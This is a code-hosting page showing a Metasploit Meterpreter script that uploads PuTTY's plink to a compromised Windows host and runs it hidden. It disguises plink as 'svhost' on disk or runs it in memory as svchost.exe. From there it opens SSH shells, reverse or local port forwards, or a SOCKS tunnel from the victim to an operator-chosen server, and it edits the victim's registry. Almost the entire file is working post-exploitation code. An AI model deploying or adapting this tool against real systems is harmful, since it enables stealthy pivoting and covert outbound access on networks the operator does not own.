PageRenderTime 50ms CodeModel.GetById 20ms RepoModel.GetById 0ms app.codeStats 0ms

/scripts/meterpreter/win32-sshclient.rb

https://bitbucket.org/technopunk2099/metasploit-framework
Ruby | 452 lines | 423 code | 8 blank | 21 comment | 1 complexity | 8bfb55b86873d84c262db13c179c637d MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, LGPL-2.1, GPL-2.0, MIT
  1. # win32-sshclient.rb
  2. #
  3. # $Id$
  4. # $Revision$
  5. #
  6. # Meterpreter script to deploy & run the "plink" commandline ssh-client
  7. # supports only MS-Windows-2k/XP/Vista Hosts
  8. #
  9. # Version 1.0
  10. # written by illegalguy
  11. #
  12. require 'net/http'
  13. require 'uri'
  14. meter_type = client.platform
  15. #
  16. # Options
  17. #
  18. @@exec_opts = Rex::Parser::Arguments.new(
  19. "-h" => [ false, "This help menu"],
  20. "-f" => [ true, "Do not download plink.exe but use given file."],
  21. "-U" => [ true, "Download from given URL instead of default one (http://the.earth.li/~sgtatham/putty)"],
  22. "-H" => [ true, "The IP/hostname of the SSH-server to connect to !REQUIRED!"],
  23. "-p" => [ true, "The port of the remote SSH-server (Default:22)"],
  24. "-u" => [ true, "The username to use to login to the SSH-server !REQUIRED!"],
  25. "-P" => [ true, "login with specified password"],
  26. "-b" => [ false, "disable all interactive prompts"],
  27. "-R" => [ true, "Forward remote port to local address ([listen-IP:]listen-port:host:port)"],
  28. "-L" => [ true, "Forward local port to remote address ([listen-IP:]listen-port:host:port)"],
  29. "-D" => [ true, "Dynamic SOCKS-based port forwarding ([listen-IP:]listen-port)"],
  30. "-C" => [ false, "enable compression"],
  31. "-X" => [ false, "enable X11 forwarding"],
  32. "-x" => [ false, "disable X11 forwarding"],
  33. "-A" => [ false, "enable agent forwarding"],
  34. "-a" => [ false, "disable agent forwarding"],
  35. "-1" => [ false, "use SSH-protocol-version 1"],
  36. "-2" => [ false, "use SSH-protocol-version 2"],
  37. "-4" => [ false, "use IPv4"],
  38. "-6" => [ false, "use IPv6"],
  39. "-i" => [ true, "private key-file for authentication"],
  40. "-m" => [ true, "read remote command from file"],
  41. "-s" => [ false, "remote command is an ssh-subsystem(SSH2 only)"],
  42. "-N" => [ false, "Don`t start a shell/command (SSH2 only)"],
  43. "-n" => [ true, "open tunnel in place of session (SSH-2 only) (host:port)"],
  44. "-r" => [ true, "Set SSH-Server`s Hostkey as known Host in Windows-registry before starting the client"],
  45. "-F" => [ false, "Disable ram-mode, upload plink and run from disk. Attention : no auto-cleanup when using -N AND -F !"],
  46. "-E" => [ true, "Start process from memory as given (Target Machine`s!) Application (.exe) (Default: C:\\windows\\system32)"],
  47. "-v" => [ false, "Give additional (debugging-)output"]
  48. )
  49. def usage
  50. print_line("plink ssh-client deploy+run script")
  51. print_line("This script will upload and run a plink ssh-cient")
  52. print_line(@@exec_opts.usage)
  53. raise Rex::Script::Completed
  54. end
  55. # Wrong Meterpreter Version Message Function
  56. #-------------------------------------------------------------------------------
  57. def wrong_meter_version(meter = meter_type)
  58. print_error("#{meter} version of Meterpreter is not supported with this Script!")
  59. raise Rex::Script::Completed
  60. end
  61. #
  62. # Default parameters
  63. #
  64. plink = File.join(Msf::Config.data_directory, "plink.exe")
  65. #plinkurl = 'http://the.earth.li/~sgtatham/putty/latest/x86/plink.exe'
  66. #plinkurl = 'http://the.earth.li/~sgtatham/putty/0.60/x86/plink.exe'
  67. plinkurl = 'http://updates.metasploit.com/data/win32-ssh/plink.exe'
  68. license = <<-EOS
  69. PuTTY is copyright 1997-2010 Simon Tatham.
  70. Portions copyright Robert de Bath, Joris van Rantwijk, Delian Delchev, Andreas Schultz, Jeroen Massar, Wez Furlong, Nicolas Barry, Justin Bradford, Ben Harris, Malcolm Smith, Ahmad Khalifa, Markus Kuhn, Colin Watson, and CORE SDI S.A.
  71. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
  72. The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
  73. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL SIMON TATHAM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.'
  74. EOS
  75. #
  76. # Define required functions
  77. #
  78. def upload(client,file,trgloc = nil)
  79. if not ::File.exists?(file)
  80. raise "File to Upload does not exists!"
  81. else
  82. if trgloc == nil
  83. location = client.fs.file.expand_path("%TEMP%")
  84. else
  85. location = trgloc
  86. end
  87. begin
  88. if file =~ /S*(.exe)/i
  89. fileontrgt = "#{location}\\svhost#{rand(100)}.exe"
  90. else
  91. fileontrgt = "#{location}\\TMP#{rand(100)}"
  92. end
  93. print_status("Uploading #{file}....")
  94. client.fs.file.upload_file(fileontrgt, file)
  95. print_status("#{file} successfully uploaded to #{fileontrgt}!")
  96. rescue ::Exception => e
  97. print_status("Error uploading file #{file}: #{e.class} #{e}")
  98. end
  99. end
  100. return fileontrgt
  101. end
  102. #
  103. # Option parsing
  104. #
  105. username = nil
  106. password = nil
  107. rhost = nil
  108. rport = 22
  109. manual = nil
  110. hostkey = nil
  111. batchmode = nil
  112. remotefwd = nil
  113. localfwd = nil
  114. socksfwd = nil
  115. enablecompression = nil
  116. enablex11fwd = nil
  117. disablex11fwd = nil
  118. enableagentfwd = nil
  119. disableagentfwd = nil
  120. sshv1 = nil
  121. sshv2 = nil
  122. ipv4 = nil
  123. ipv6 = nil
  124. keyfile = nil
  125. cmdfile = nil
  126. sshsubsys = nil
  127. noshell = nil
  128. nctunnel = nil
  129. processname = "C:\\windows\\system32\\svchost.exe"
  130. verbose = nil
  131. filemode = nil
  132. downloaded = nil
  133. @@exec_opts.parse(args) { |opt, idx, val|
  134. case opt
  135. when "-h"
  136. usage
  137. when "-H"
  138. if !val
  139. print_error("-H requires an argument !")
  140. usage
  141. end
  142. rhost = val
  143. when "-f"
  144. if !val
  145. print_error("-f requires an argument !")
  146. usage
  147. end
  148. plink = val
  149. if not ::File.exists?(plink)
  150. print_error("Plink.exe not found/accessible!")
  151. usage
  152. end
  153. manual = true
  154. when "-r"
  155. if !val
  156. print_error("-r requires an argument !")
  157. usage
  158. end
  159. hostkey = val
  160. when "-p"
  161. rport = val.to_i
  162. when "-U"
  163. if !val
  164. print_error("-u requires an argument !")
  165. usage
  166. end
  167. plinkurl = val
  168. when "-u"
  169. if !val
  170. print_error("-u requires an argument !")
  171. usage
  172. end
  173. username = val
  174. when "-P"
  175. if !val
  176. print_error("-P requires an argument !")
  177. usage
  178. end
  179. password = val
  180. when "-b"
  181. batchmode = true
  182. when "-R"
  183. if !val
  184. print_error("-R requires an argument !")
  185. usage
  186. end
  187. remotefwd = val
  188. when "-L"
  189. if !val
  190. print_error("-L requires an argument !")
  191. usage
  192. end
  193. localfwd = val
  194. when "-D"
  195. if !val
  196. print_error("-D requires an argument !")
  197. usage
  198. end
  199. socksfwd = val
  200. when "-C"
  201. enablecompression = true
  202. when "-X"
  203. enablex11fwd = true
  204. when "-x"
  205. disablex11fwd = true
  206. when "-A"
  207. enableagentfwd = true
  208. when "-a"
  209. disableagentfwd = true
  210. when "-1"
  211. sshv1 = true
  212. when "-2"
  213. sshv2 = true
  214. when "-4"
  215. ipv4 = true
  216. when "-6"
  217. ipv6 = true
  218. when "-i"
  219. if !val
  220. print_error("-i requires an argument !")
  221. usage
  222. end
  223. keyfile = val
  224. if not ::File.exists?(keyfile)
  225. print_error("keyfile not found or not accessible!")
  226. usage
  227. end
  228. when "-m"
  229. if !val
  230. print_error("-m requires an argument !")
  231. usage
  232. end
  233. cmdfile = val
  234. if not ::File.exists?(cmdfile)
  235. print_error("cmd-file not found/accessible!")
  236. usage
  237. end
  238. when "-s"
  239. sshsubsys = true
  240. when "-N"
  241. noshell = true
  242. when "-n"
  243. if !val
  244. print_error("-n requires an argument !")
  245. usage
  246. end
  247. nctunnel = val
  248. when "-E"
  249. if !val
  250. print_error("-E requires an argument !")
  251. usage
  252. end
  253. processname = val
  254. when "-v"
  255. verbose = true
  256. when "-F"
  257. filemode = true
  258. else
  259. print_error("Unknown option: #{opt}")
  260. usage
  261. end
  262. }
  263. # Check for Version of Meterpreter
  264. wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
  265. if not rhost or not username
  266. print_status("You must specify a hostname (-H) and username (-u)")
  267. raise Rex::Script::Completed
  268. end
  269. #
  270. # Check if plink-file exists, and if not : download from putty-site first
  271. # Ask user before downloading
  272. #
  273. if not manual
  274. if not ::File.exists?(plink)
  275. print_status("plink.exe could not be found. Downloading it now...")
  276. print_status(license)
  277. plinkexe = Net::HTTP.get URI.parse(plinkurl)
  278. File.open(plink, "wb") { |fd| fd.write(plinkexe) }
  279. print_status("plink.exe has been downloaded to #{plink} (local machine). Please remove manually after use or keep for reuse.")
  280. downloaded = true
  281. end
  282. end
  283. #
  284. # Uploading files to target
  285. #
  286. cmdfileontrgt = upload(client, cmdfile) if cmdfile
  287. keyfileontrgt = upload(client, keyfile) if keyfile
  288. trg_filename = nil
  289. if filemode
  290. print_status("-------Uploading plink -------")
  291. trg_filename = upload(client, plink)
  292. else
  293. trg_filename = plink
  294. end
  295. #
  296. # Build parameter-string
  297. #
  298. params = "-ssh "
  299. params << "-P #{rport} " if not rport == 22
  300. params << "-l #{username} "
  301. params << "-pw #{password} " if password
  302. params << "-batch " if batchmode
  303. params << "-R #{remotefwd} " if remotefwd
  304. params << "-L #{localfwd} " if localfwd
  305. params << "-D #{socksfwd} " if socksfwd
  306. params << "-C " if enablecompression
  307. params << "-X " if enablex11fwd
  308. params << "-x " if disablex11fwd
  309. params << "-A " if enableagentfwd
  310. params << "-a " if disableagentfwd
  311. params << "-1 " if sshv1
  312. params << "-2 " if sshv2
  313. params << "-4 " if ipv4
  314. params << "-6 " if ipv6
  315. params << "-m #{cmdfileontrgt} " if cmdfileontrgt
  316. params << "-i #{keyfileontrgt} " if keyfileontrgt
  317. params << "-s " if sshsubsys
  318. params << "-N " if noshell
  319. params << "-nc #{nctunnel} " if nctunnel
  320. params << rhost
  321. #
  322. # Set Registry-Value before running the client, if the param was specified
  323. #
  324. hostkeyname = nil
  325. if not hostkey == nil
  326. hostkeyname = "rsa2@#{rport}:#{rhost}"
  327. print_status("Writing the Hostkey to the registry...")
  328. client.run_cmd("reg setval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname} -d #{hostkey}")
  329. end
  330. #
  331. # Give additional output when -v is set
  332. #
  333. if verbose
  334. print_status("You set the following parameters for plink :")
  335. print_status(params)
  336. print_status(processname)
  337. end
  338. #
  339. # Execute the client
  340. #
  341. print_status("-------Executing Client ------")
  342. p = nil
  343. if not filemode
  344. p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true, 'InMemory' => processname})
  345. else
  346. p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true})
  347. end
  348. if noshell == nil
  349. client.console.run_single("interact #{p.channel.cid}")
  350. end
  351. if filemode
  352. if not noshell == true
  353. if verbose
  354. print_status("Waiting 3 seconds to be sure the process was closed.")
  355. end
  356. sleep(3)
  357. if verbose
  358. print_status("Deleting the uploaded plink.exe...")
  359. end
  360. client.fs.file.rm(trg_filename)
  361. else
  362. print_status("Cannot automatically delete the uploaded #{trg_filename} ! Please delete it manually after stopping the process!")
  363. end
  364. end
  365. if not keyfile == nil
  366. if verbose
  367. print_status("Waiting 1 second to be sure the keyfile is not in use anymore.")
  368. end
  369. sleep(1)
  370. if verbose
  371. print_status("Deleting the keyfile !")
  372. end
  373. if verbose
  374. print_status(keyfile)
  375. end
  376. client.fs.file.rm(keyfile)
  377. end
  378. if not cmdfile == nil
  379. print_status("You need to manually delete the uploaded #{cmdfile} !")
  380. end
  381. #
  382. # Delete the registry-key that may have been created
  383. #
  384. if not hostkey == nil
  385. if verbose
  386. print_status("Deleting the registry-key set by the script.")
  387. end
  388. client.run_cmd("reg deleteval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname}")
  389. end
  390. raise Rex::Script::Completed